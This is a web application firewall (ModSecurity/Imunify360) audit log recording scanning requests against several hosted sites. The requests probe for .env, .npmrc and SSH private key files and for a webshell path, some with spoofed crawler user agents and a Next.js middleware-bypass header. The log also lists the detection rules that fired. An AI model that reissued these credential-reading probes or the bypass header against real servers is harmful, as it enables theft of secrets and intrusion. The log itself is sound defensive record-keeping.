Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a38b134c-Z--
--5f75446b-A--
[13/Sep/2026:08:13:42.286344 +0300] aqYxBmM7dE9KgIIOpQhlIgAAAME 34.146.38.117 50102 127.0.0.1 7081
--5f75446b-B--
GET /.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.env
--5f75446b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--5f75446b-E--
--5f75446b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.env"] [unique_id "aqYxBmM7dE9KgIIOpQhlIgAAAME"]
Stopwatch: 1789276422281357 5038 (- - -)
Stopwatch2: 1789276422281357 5038; combined=3855, p1=283, p2=3467, p3=58, p4=7, p5=40, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5f75446b-Z--
--0636856a-A--
[13/Sep/2026:08:13:44.015260 +0300] aqYxCDTJ6xTvcJoem7f3JQAAAFI 34.146.38.117 50174 127.0.0.1 7081
--0636856a-B--
GET /.npmrc HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.npmrc
--0636856a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--0636856a-E--
--0636856a-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqYxCDTJ6xTvcJoem7f3JQAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqYxCDTJ6xTvcJoem7f3JQAAAFI"]
Stopwatch: 1789276424004487 10827 (- - -)
Stopwatch2: 1789276424004487 10827; combined=6454, p1=335, p2=5982, p3=79, p4=9, p5=49, sr=137, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0636856a-Z--
--e7725d76-A--
[13/Sep/2026:08:17:10.120530 +0300] aqYx1kwu1RSkptiiNIXxiwAAAIQ 95.134.102.250 34832 127.0.0.1 7081
--e7725d76-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.250
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--e7725d76-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e7725d76-E--
--e7725d76-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276630108668 12084 (- - -)
Stopwatch2: 1789276630108668 12084; combined=9281, p1=433, p2=8083, p3=169, p4=12, p5=583, sr=189, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e7725d76-Z--
--79e50e14-A--
[13/Sep/2026:08:17:10.445049 +0300] aqYx1kwu1RSkptiiNIXxjAAAAII 151.243.174.201 34842 127.0.0.1 7081
--79e50e14-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.201
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--79e50e14-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--79e50e14-E--
--79e50e14-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276630435150 9947 (- - -)
Stopwatch2: 1789276630435150 9947; combined=7341, p1=510, p2=6283, p3=117, p4=12, p5=419, sr=199, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--79e50e14-Z--
--49da6b10-A--
[13/Sep/2026:08:17:10.585577 +0300] aqYx1mM7dE9KgIIOpQhl2wAAAMM 151.243.174.160 34854 127.0.0.1 7081
--49da6b10-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.160
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--49da6b10-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--49da6b10-E--
--49da6b10-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276630574090 11637 (- - -)
Stopwatch2: 1789276630574090 11637; combined=8184, p1=461, p2=7213, p3=130, p4=14, p5=365, sr=157, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--49da6b10-Z--
--f640bd11-A--
[13/Sep/2026:08:17:10.861787 +0300] aqYx1mM7dE9KgIIOpQhl3AAAAMU 95.134.102.113 34866 127.0.0.1 7081
--f640bd11-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.113
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f640bd11-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f640bd11-E--
--f640bd11-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276630852149 9689 (- - -)
Stopwatch2: 1789276630852149 9689; combined=7225, p1=403, p2=6238, p3=121, p4=13, p5=449, sr=164, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f640bd11-Z--
--e35d442c-A--
[13/Sep/2026:08:17:11.231603 +0300] aqYx1zTJ6xTvcJoem7f3PgAAAFM 151.243.174.98 34884 127.0.0.1 7081
--e35d442c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.98
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e35d442c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e35d442c-E--
--e35d442c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276631221173 10633 (- - -)
Stopwatch2: 1789276631221173 10633; combined=7501, p1=448, p2=6469, p3=131, p4=23, p5=429, sr=185, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e35d442c-Z--
--f015c67e-A--
[13/Sep/2026:08:17:12.005083 +0300] aqYx10wu1RSkptiiNIXxjgAAAIY 95.134.102.156 34886 127.0.0.1 7081
--f015c67e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--f015c67e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f015c67e-E--
--f015c67e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276631992276 12933 (- - -)
Stopwatch2: 1789276631992276 12933; combined=9697, p1=502, p2=8566, p3=158, p4=17, p5=452, sr=252, sw=2, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f015c67e-Z--
--4969c35f-A--
[13/Sep/2026:08:18:29.042245 +0300] aqYyJEwu1RSkptiiNIXxpwAAAI4 159.223.78.43 60166 127.0.0.1 7081
--4969c35f-B--
GET /wp-admin/images/index.php HTTP/1.1
Host: behappydigital.com
X-Real-IP: 159.223.78.43
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
--4969c35f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--4969c35f-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/wp-admin/images/index.php||SC:/var/www/vhosts/happy-digital.ro/httpdocs/wp-admin"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:08-18.159.223.78.43||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/wp-admin/images/index.php||SC:/var/www/vhosts/happy-digital.ro/httpdocs/wp-admin"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-admin/images/index.php"] [unique_id "aqYyJEwu1RSkptiiNIXxpwAAAI4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:08-18.159.223.78.43||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-admin/images/index.php"] [unique_id "aqYyJEwu1RSkptiiNIXxpwAAAI4"]
Action: Intercepted (phase 2)
Stopwatch: 1789276708981925 60361 (- - -)
Stopwatch2: 1789276708981925 60361; combined=59076, p1=219, p2=58585, p3=0, p4=0, p5=272, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4969c35f-Z--
--82bab458-A--
[13/Sep/2026:08:30:09.255169 +0300] aqY04WM7dE9KgIIOpQhm9gAAAMI 136.70.168.129 35322 127.0.0.1 7081
--82bab458-B--
GET /.ssh/id_ed25519 HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--82bab458-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--82bab458-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:08-30.136.70.168.129"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789277409221874 33357 (- - -)
Stopwatch2: 1789277409221874 33357; combined=30425, p1=312, p2=29822, p3=0, p4=0, p5=291, sr=138, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--82bab458-Z--
--19a48572-A--
[13/Sep/2026:08:30:14.577734 +0300] aqY04WM7dE9KgIIOpQhm9wAAANU 136.70.168.129 35338 127.0.0.1 7081
--19a48572-B--
GET /.ssh/id_ecdsa HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--19a48572-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--19a48572-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/id_ecdsa"] [unique_id "aqY04WM7dE9KgIIOpQhm9wAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/id_ecdsa"] [unique_id "aqY04WM7dE9KgIIOpQhm9wAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277409394767 5183049 (- - -)
Stopwatch2: 1789277409394767 5183049; combined=34026, p1=287, p2=33666, p3=0, p4=0, p5=72, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--19a48572-Z--
--6c4b984e-A--
[13/Sep/2026:08:30:16.721348 +0300] aqY04Uwu1RSkptiiNIXyIgAAAIw 136.70.168.129 35418 127.0.0.1 7081
--6c4b984e-B--
GET /.ssh/id_rsa HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6c4b984e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6c4b984e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/id_rsa"] [unique_id "aqY04Uwu1RSkptiiNIXyIgAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/id_rsa"] [unique_id "aqY04Uwu1RSkptiiNIXyIgAAAIw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277409942025 6779382 (- - -)
Stopwatch2: 1789277409942025 6779382; combined=37469, p1=230, p2=37177, p3=0, p4=0, p5=62, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c4b984e-Z--
--9015fe3b-A--
[13/Sep/2026:08:30:18.636435 +0300] aqY06DTJ6xTvcJoem7f3eAAAAFc 136.70.168.129 45474 127.0.0.1 7081
--9015fe3b-B--
GET /.ssh/id_dsa HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--9015fe3b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link:
; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9015fe3b-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/id_dsa"] [unique_id "aqY06DTJ6xTvcJoem7f3eAAAAFc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/id_dsa"] [unique_id "aqY06DTJ6xTvcJoem7f3eAAAAFc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277416793108 1843399 (- - -)
